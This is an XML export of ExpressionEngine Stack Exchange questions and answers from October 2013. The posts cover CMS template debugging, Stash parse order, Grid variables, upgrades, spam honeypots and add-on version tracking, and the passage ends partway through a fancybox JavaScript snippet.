  <row Id="14726" PostTypeId="1" AcceptedAnswerId="14727" CreationDate="2013-10-19T04:33:18.903" Score="1" ViewCount="66" Body="&lt;p&gt;Is there an official resource for downloading previous EE builds for add-on development/testing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently started archiving all versions of EE and add-ons that I install, however I have only started this recently (EE 2.7.0+). It would be awesome if there was somewhere I could access older versions of EE for supporting my add-ons, as well as making sure new add-ons are backwards compatible.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-19T05:10:46.583" Title="Old ExpressionEngine builds" Tags="|add-on|add-on-development|meta|" AnswerCount="1" CommentCount="0" ClosedDate="2013-10-24T16:16:33.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="14727" PostTypeId="2" ParentId="14726" CreationDate="2013-10-19T05:10:46.583" Score="2" Body="&lt;p&gt;Try contacting EllisLab directly and ask them. I think they were in the process of finding some way to make older versions of the software available to licence holders.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-10-19T05:10:46.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14729" PostTypeId="2" ParentId="14725" CreationDate="2013-10-19T10:08:26.840" Score="1" Body="&lt;p&gt;I don't recall seeing anything in EE core code that sent this data, but some of the larger add-on developers include stat tracking within their code that reports version numbers, etc. Possibly they may be willing to share the information, but that will only be a small selection and example of users who use that add-on, not EE in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reliable way would be if it was built into EE and sent anonymous stats back to Ellis Labs - but I doubt they'll want to share that data with the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only reliable way would be to include tracking in your add-on that regularly (e.g. once a month) when accessed (either frontend or control panel) triggered a cURL that posted data data to your website carrying that information (PHP version &amp;amp; EE version). As long as it was clearly stated in the T&amp;amp;Cs or documentation, or you offer it as turnable off in the settings (but then you won't be accurately tracking all your user base).&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-19T10:08:26.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14730" PostTypeId="1" CreationDate="2013-10-19T13:01:14.843" Score="1" ViewCount="78" Body="&lt;p&gt;Just come across ExpressionEngine Answers, and am hoping you can set my mind at rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just starting to upgrade an EE1.7.3 site to EE2.7.2  I've done the backup aand stages 1 to 6 of the Ellislabs procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just run the admin.php [I have updated the system directory name] and it comes back with a 'click here to install a brand new copy of ExpressionEngine'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the message I should expect, given I'm doing an update and not a brand new installation!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can imagine I really really don't want to go wrong at this stage!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW I've just spotted &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6148/ee1-to-ee2-upgrade-issues?rq=1&quot;&gt;this question&lt;/a&gt;- sadly no solution there either :-(&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-10-20T20:29:46.627" Title="upgrading EE1 to EE2 but seeing new installation message" Tags="|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14731" PostTypeId="1" AcceptedAnswerId="14748" CreationDate="2013-10-19T13:03:44.550" Score="0" ViewCount="700" Body="&lt;p&gt;I posted this in the &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/10959&quot; rel=&quot;nofollow&quot;&gt;Stash support forum on Devot-ee&lt;/a&gt;, but there's more activity over here so I thought I'd try my luck in both locations. Not sure about the etiquette of posting in two forums, so apologies if it bends any noses. Here's my situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site in which the user can turn various sections (Books, Screenwriting, News, Events etc) on or off depending on whether they are relevant to them. Whether a specific section is on or off is recorded in a Global Variable—eg. &lt;strong&gt;gv_include_books_section&lt;/strong&gt; (value=[y/n]). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the homepage I have a few columns, each of which I want to display recent entries from one section or another. The catch of course is that I don’t know in advance which sections will be on or off, AND I don’t want to use entries from the same section in more than one column.&#xA;My solution is to only show entries from a section if a) it is switched ‘on’ AND b) it hasn’t been used earlier in the template. (a) is easy to check as it’s already stored in a Global Variable, and I’m using Stash to set a flag to record whether a specific section has already been shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m also using IfElse since these conditionals necessarily consist of if/else chains (Switchee got too complex as all the branchings required multiple nested Switchee tags).&#xA;As far as I can see the code I have should work, but it doesn’t. I presume the issue is parse order but I'm unsure how to rectify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the template code; the global variables in play are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gv_include_books_section = “n”&#xA;gv_include_screenwriting_section = “y”&#xA;gv_include_journalism_section = “y”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_value name=&quot;books_used&quot; value=&quot;0&quot; type=&quot;snippet&quot;}&#xA;{exp:stash:set_value name=&quot;screen_used&quot; value=&quot;0&quot; type=&quot;snippet&quot;}&#xA;{exp:stash:set_value name=&quot;journalism_used&quot; value=&quot;0&quot; type=&quot;snippet&quot;}&#xA;&#xA;{!-- column_1 --}&#xA;{exp:ifelse parse=&quot;inward&quot;}    &#xA;    {if gv_include_books_section == &quot;y&quot;}&#xA;        {exp:stash:set_value name=&quot;books_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_books}&#xA;    {if:elseif gv_include_screenwriting_section == &quot;y&quot;}&#xA;        {exp:stash:set_value name=&quot;screen_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_screen}&#xA;    {if:else}&#xA;        &amp;lt;section&amp;gt;Oops&amp;lt;/section&amp;gt;&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&#xA;{!--  columm-2 --}&#xA;{exp:ifelse parse=&quot;inward&quot;}    &#xA;    {if gv_include_screenwriting_section == &quot;y&quot; &amp;amp;&amp;amp; screen_used == &quot;0&quot;}&#xA;        {exp:stash:set_value name=&quot;screen_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_screen}&#xA;    {if:elseif gv_include_journalism_section == &quot;y&quot; &amp;amp;&amp;amp; journalism_used == &quot;0&quot;}&#xA;        {exp:stash:set_value name=&quot;journalism_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_journo}&#xA;    {if:else}&#xA;        &amp;lt;section&amp;gt;Oops&amp;lt;/section&amp;gt;&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By my reckoning column_1 should display content from the screenwriting section (because the Books section is turned off), and column_2 should show the journalism section (because the Screenwriting section has already been used in Column 1). What’s actually happening, however, is that both columns are showing screenwriting content.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Um… help please? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-10-20T14:45:24.407" Title="Problem using Stash in conditional structure" Tags="|stash|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14733" PostTypeId="1" CreationDate="2013-10-19T14:04:36.670" Score="2" ViewCount="86" Body="&lt;p&gt;After updating the system to 2.7.2 I am no longer able to add or edit channel fields. I just get redirected to my default homepage and the form doesn't submit.&lt;/p&gt;&#xA;" OwnerUserId="2222" LastActivityDate="2013-10-21T11:27:51.547" Title="Redirected to homepage when adding/editing custom fields" Tags="|ee2|custom-fields|ee2-upgrades|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14734" PostTypeId="1" AcceptedAnswerId="14810" CreationDate="2013-10-19T16:21:03.503" Score="1" ViewCount="500" Body="&lt;p&gt;I implemented honeepot (&lt;a href=&quot;http://devot-ee.com/add-ons/hon-ee-pot-captcha&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/hon-ee-pot-captcha&lt;/a&gt;) for two freeform pro forms I have on my 2.6.1 EE website and it cut down the spam drastically, but some are still getting thru.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else that I can do to combat it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to have the users have to fill in a captcha field to submit the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried honeepot over snaptcha because its free. What do you think of snaptcha? Is that something will cut down on spam more so than honeepot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-10-21T18:35:30.030" Title="freeform pro 4 and honeepot, spam still coming through" Tags="|solspace-freeform|forms|solspace|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14735" PostTypeId="1" AcceptedAnswerId="14736" CreationDate="2013-10-19T18:15:30.907" Score="1" ViewCount="349" Body="&lt;p&gt;In my stash partial, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Custom Sidebar? --}&#xA;{if &quot;{exp:stash:get name='custom_sidebar_text'}&quot;}&#xA;  &amp;lt;section class=&quot;container&quot;&amp;gt;&#xA;    {if &quot;{exp:stash:get name='custom_sidebar_title'}&quot;}&#xA;      &amp;lt;h3&amp;gt;&#xA;        {exp:stash:get name='custom_sidebar_title'}&#xA;      &amp;lt;/h3&amp;gt;&#xA;    {/if}&#xA;    {exp:stash:get name='custom_sidebar_text' random}&#xA;  &amp;lt;/section&amp;gt;&#xA;{/if}&#xA;{!-- /Custom Sidebar --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my template I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layouts/.landing_page&quot;}&#xA;{exp:channel:entries}&#xA;  {exp:stash:set parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {!-- Several other stash variables --}&#xA;    {stash:custom_sidebar_title}{custom_sidebar_title}{/stash:custom_sidebar_title}&#xA;    {stash:custom_sidebar_text}{custom_sidebar_text}{/stash:custom_sidebar_text}&#xA;  {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’m getting a warning saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;br&gt;&#xA;  Severity: User Warning&lt;br&gt;&#xA;  Message: Invalid EE&lt;br&gt;&#xA;  Conditional Variable: {if &quot;&lt;br&gt;&#xA;  A PHP Error was encountered&lt;br&gt;&#xA;  Severity: Warning&lt;br&gt;&#xA;  Message: Cannot modify header information - headers already sent by (output started at /Users/agarzola/git/wfgc/system/codeigniter/system/core/Exceptions.php:170)&lt;br&gt;&#xA;  Filename: core/Common.php&lt;br&gt;&#xA;  Line Number: 412&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I remove the outermost conditional tags in the partial (&lt;code&gt;{if &quot;{exp:stash:get name='custom_sidebar_text'}&quot;}&lt;/code&gt; and '{/if}'), the markup is rendered perfectly, with the stash variables parsed as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edited to add:&lt;/strong&gt; This only happens when the &lt;code&gt;custom_sidebar_text&lt;/code&gt; field contains a link (generated via Wygwam in this case). Take away the link on the edit entry form, save the page, and the error goes away.&lt;/p&gt;&#xA;" OwnerUserId="2205" LastActivityDate="2013-10-19T18:59:32.843" Title="Invalid EE Conditional when testing stash variable" Tags="|stash|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14736" PostTypeId="2" ParentId="14735" CreationDate="2013-10-19T18:59:32.843" Score="1" Body="&lt;p&gt;This is because the hyperlink in your stashed variable likely contains double quotes, which is also the delimiter you're using to contain the conditional. So you're basically saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;&amp;lt;p&amp;gt;Here is my test &amp;lt;a href=&quot;http://url.com&quot;&amp;gt;with a link&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, this will lead to problems due to unescaped quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, use &lt;code&gt;:not_empty&lt;/code&gt; (&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3anot_empty%7D&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;custom_sidebar_text&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-19T18:59:32.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14737" PostTypeId="2" ParentId="14697" CreationDate="2013-10-19T21:02:42.787" Score="1" Body="&lt;p&gt;Here's another solution, per suggestions via Twitter by Stash's author:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;templates/default_site/example.group/layout_example.html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;wrappers/_interior&quot;}&#xA;&#xA;{exp:channel:entries limit=&quot;1&quot;}&#xA;    {exp:stash:set name='title'}{title}{/exp:stash:set}&#xA;    {exp:stash:set name='maincontent'}&#xA;      {stash:embed:matrix_markup&#xA;        stash:matrix_field = &quot;example_matrix_a&quot;&#xA;        process=&quot;start&quot;&#xA;      }&#xA;      {stash:embed:matrix_markup&#xA;        stash:matrix_field = &quot;example_matrix_b&quot;&#xA;        process=&quot;start&quot;&#xA;      }&#xA;&#xA;  {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;stash_templates/matrix_markup.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{{stash:matrix_field}} &#xA;   {matrix_col_1} - {matrix_col_2}&amp;lt;br&amp;gt;&#xA;{/{stash:matrix_field}} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method (passing the name of the variable) works with Playa as well, and, I'd guess with just about any other field type that uses tag pairs.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-10-19T21:02:42.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14738" PostTypeId="1" AcceptedAnswerId="14739" CreationDate="2013-10-19T21:40:01.847" Score="2" ViewCount="191" Body="&lt;p&gt;I would like to be able to setup a photo gallery on my site that can be filtered by category and subcategory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the idea of using the Grid/Matrix fieldtype for each gallery so you can see all images in the gallery from the Control Panel at the same time. However, I don't see where to set a category/subcategory for every row in the Grid/Matrix field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about adding another column in the Grid/Matrix field where users could check off the appropriate categories and subcategories, but I feel like this could get really complicated/inefficient on the template side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to find a good tutorial on creating a filter-able photo gallery using ExpressionEngine but have not had any luck. I would greatly appreciate any advice on how to tackle this project!&lt;/p&gt;&#xA;" OwnerUserId="2223" LastActivityDate="2013-10-23T21:15:09.643" Title="Need advice on setting up filter-able photo gallery" Tags="|matrix|filter|categories|grid|image-galleries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14739" PostTypeId="2" ParentId="14738" CreationDate="2013-10-19T22:17:23.627" Score="4" Body="&lt;p&gt;I think you're on the right track. I'd create a Matrix column that is a dropdown or multiselect. Then output those variables as CSS classes or data attributes and handle the sorting on the client side using something like this: &lt;a href=&quot;http://mixitup.io/#Documentation&quot; rel=&quot;nofollow&quot;&gt;http://mixitup.io/#Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;filters&quot;&amp;gt;&#xA;{your_matrix_field}&#xA; &amp;lt;li data-filter=&quot;{matrix_select_col_name}&amp;gt;{matrix_select_col_label}&amp;lt;/li&amp;gt;&#xA;{/your_matrix_field}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;{your_matrix_field}&#xA; &amp;lt;div data-content='{matrix_select_col_name}'&amp;gt;&amp;lt;img src=&quot;foo.jpg&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/your_matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2013-10-19T22:17:23.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14740" PostTypeId="1" CreationDate="2013-10-20T02:13:55.653" Score="2" ViewCount="233" Body="&lt;p&gt;I am using Zoo Visitor registration with inline error message. if I submit the registration form with some empty fields, it shows inline errors correctly but while submitting again I am getting the EE error message &lt;em&gt;The action you have requested is invalid.&lt;/em&gt;, which seems odd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the attachment for this EE error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H7Vl4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-20T02:13:55.653" Title="The action you have requested is invalid in Zoo Visitor" Tags="|zoo-visitor|registration|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14741" PostTypeId="1" AcceptedAnswerId="14793" CreationDate="2013-10-20T02:14:08.660" Score="0" ViewCount="86" Body="&lt;p&gt;Have been unable to clear this / or uninstall.  Can't open FT in addons dropdown in CP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Class Matrix_url_title_ft contains 1 abstract method and must therefore be declared abstract or implement the remaining methods (EE_Fieldtype::display_field) in /var/www/www.domain/system/expressionengine/third_party/matrix_url_title/ft.matrix_url_title.php on line 166&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/pixelandtonic/matrix_url_title&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/matrix_url_title&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="719" LastEditorUserId="719" LastEditDate="2013-10-20T02:21:38.070" LastActivityDate="2013-10-21T12:46:28.357" Title="P &amp; T Matrix URL Title [current] &amp; EE 2.7.2 fatal error" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14742" PostTypeId="2" ParentId="14738" CreationDate="2013-10-20T02:36:59.400" Score="1" Body="&lt;p&gt;My recommendation would be Channel Images from dev demon which should achieve what your looking for.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-10-20T02:36:59.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14744" PostTypeId="2" ParentId="14730" CreationDate="2013-10-20T11:59:17.520" Score="1" Body="&lt;p&gt;No, that is not the message you should expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see &quot;Click here to update ExpressionEngine to Version __.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What version of EE are you starting with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a license entered into the system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you have all of your original files and database backed up AND you're doing the upgrade on a copy of the live the site, you should have nothing to worry about.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-20T20:29:46.627" LastActivityDate="2013-10-20T20:29:46.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14745" PostTypeId="1" AcceptedAnswerId="14746" CreationDate="2013-10-20T12:47:22.527" Score="3" ViewCount="541" Body="&lt;p&gt;I'm working with the grid fieldtype for the first time and attempting to build out a home page slider the same way I would typically do with matrix and low variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have triple checked cell names (and copy/pasted to template code) yet the slider is not displaying the images as expected. My code is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv-home-slider&quot;}&#xA;  &amp;lt;img src=&quot;{slide}&quot; alt=&quot;{caption}&quot;/&amp;gt;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on the front end it outputs the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{slide}&quot; alt=&quot;{caption}&quot; &amp;gt;&#xA;&#xA;&amp;lt;img src=&quot;{slide}&quot; alt=&quot;{caption}&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried setting this variable to early parsing which as expected didn't change a thing. Have attached a screenshot of the grid settings in Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/STWYa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-20T12:54:09.660" Title="Low Variables &amp; Grid outputting raw code" Tags="|low-variables|grid|template-scripting|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14746" PostTypeId="2" ParentId="14745" CreationDate="2013-10-20T12:54:09.660" Score="6" Body="&lt;p&gt;The variables inside the field &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#variables&quot;&gt;need to be prefixed&lt;/a&gt; with the Grid variable name, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv-home-slider:slide}&#xA;{lv-home-slider:caption}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-20T12:54:09.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14747" PostTypeId="2" ParentId="14733" CreationDate="2013-10-20T14:21:39.710" Score="1" Body="&lt;p&gt;These types of issues are typically hard to pin-point, but I'd try two things first:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-download 2.7.2 and then replace your new 2.7.2 files/folders in case there was a corrupted or missing file in there somewhere. If that doesn't work...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After you've backed up everything up, start disabling fieldtypes one-by-one (and even extensions) to see if there's a third party culprit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-21T11:27:51.547" LastActivityDate="2013-10-21T11:27:51.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14748" PostTypeId="2" ParentId="14731" CreationDate="2013-10-20T14:33:04.653" Score="1" Body="&lt;p&gt;I'm no Mark Croxton, but I'd bet this has to do with the parsing order of the Stash variable you are setting inside the column 1 advanced conditionals. You need to make sure that column 2 isn't parsed until column 1 is fully parsed, so that those variables are set prior to column 2's IfElse running. In my understanding, the best way to do that would be make column 2 a Stash embed set to &lt;code&gt;process=&quot;end&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- column_1 --}&#xA;{exp:ifelse parse=&quot;inward&quot;}    &#xA;    {if gv_include_books_section == &quot;y&quot;}&#xA;        {exp:stash:set_value name=&quot;books_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_books}&#xA;    {if:elseif gv_include_screenwriting_section == &quot;y&quot;}&#xA;        {exp:stash:set_value name=&quot;screen_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_screen}&#xA;    {if:else}&#xA;        &amp;lt;section&amp;gt;Oops&amp;lt;/section&amp;gt;&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&#xA;{stash:embed:partials:column_2 process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your (newly created) &lt;strong&gt;/stash_templates/partials/column_2.html&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--  columm-2 --}&#xA;{exp:ifelse parse=&quot;inward&quot;}&#xA;    {if gv_include_screenwriting_section == &quot;y&quot; &amp;amp;&amp;amp; screen_used == &quot;0&quot;}&#xA;        {exp:stash:set_value name=&quot;screen_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_screen}&#xA;    {if:elseif gv_include_journalism_section == &quot;y&quot; &amp;amp;&amp;amp; journalism_used == &quot;0&quot;}&#xA;        {exp:stash:set_value name=&quot;journalism_used&quot; value=&quot;1&quot; type=&quot;snippet&quot; replace=&quot;yes&quot;}&#xA;        {snp_home_journo}&#xA;    {if:else}&#xA;        &amp;lt;section&amp;gt;Oops&amp;lt;/section&amp;gt;&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested that, but that's where I'd begin.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-20T14:45:24.407" LastActivityDate="2013-10-20T14:45:24.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14749" PostTypeId="2" ParentId="14721" CreationDate="2013-10-20T14:42:36.097" Score="1" Body="&lt;p&gt;You should have that table in your database. Here's what it should look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[image removed by user]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to (re)install the Grid fieldtype under Add-ons &gt; Fiedtypes. If it's already installed, uninstall it and install it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your database, check the &lt;code&gt;exp_fieldtypes&lt;/code&gt; table. If you have a row for &lt;code&gt;grid&lt;/code&gt;, delete it. Delete the new &lt;code&gt;exp_grid_columns&lt;/code&gt; table you tried to manually add.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-25T21:26:22.790" LastActivityDate="2013-10-25T21:26:22.790" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14750" PostTypeId="1" CreationDate="2013-10-20T15:30:35.743" Score="1" ViewCount="109" Body="&lt;p&gt;I have a number of entries containing videos with the language options contained in an ee2.7 grid field (ie. English / Irish).&#xA;I am using the following code to output each video link in a fancybox lightbox. However the code I have at present does not work for ie8 and ipads etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;related_story&quot;}&#xA;          &amp;lt;div class=&quot;{switch='three columns alpha|three columns omega'}&quot;&amp;gt;&#xA;           &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;{parents:title}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt; &#xA;{parents:video}&amp;lt;a class=&quot;fancybox-media&quot; href=&quot;{parents:video:video_url}&quot; &#xA;title=&quot;{parents:title}&quot; &amp;gt;{parents:video:video_title}&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;{/parents:video}&amp;lt;/li&amp;gt; &#xA;                     &amp;lt;/ul&amp;gt; &#xA;                     &amp;lt;div class=&quot;clear&quot;&amp;gt; &amp;lt;/div&amp;gt; &#xA;                      &amp;lt;/div&amp;gt;  &#xA;                     {/parents}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally I need to have a separate piece of js for each video similar to the following which I am using elsewhere on the site to pull in specific videos: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(window).load(function(){&#xA;$(&quot;a.fancybox-myths&quot;).fancybox({&#xA;  content:'&amp;lt;div id=&quot;videospace&quot;&amp;gt;Loading the Video...&amp;lt;/div&amp;gt;',&#xA;  maxWidth:&quot;100%&quot;,&#xA;  maxHeight:&quot;100%&quot;,&#xA;  fitToView:false,&#xA;  maxwidth:&quot;100%&quot;,&#xA;  autoSize:false,&#xA;  closeBtn:true,&#xA;  openEffect:&quot;fade&quot;,&#xA;  closeEffect:&quot;fade&quot;,&#xA;  scrolling:&quot;no&quot;,&#xA;  autoDimensions:!0,&#xA;  helpers:{closeClick:!0,&#xA;    title:{type:&quot;inside&quot;},&#xA;    overlay:{&#xA;      locked:!1,&#xA;      css:{&#xA;        background:&quot;rgba(40, 33, 33, 0.80)&quot;&#xA;      }&#xA;    }&#xA;  },&#xA;  afterShow:function(){&#xA;    jwplayer(&quot;videospace&quot;).setup({&#xA;      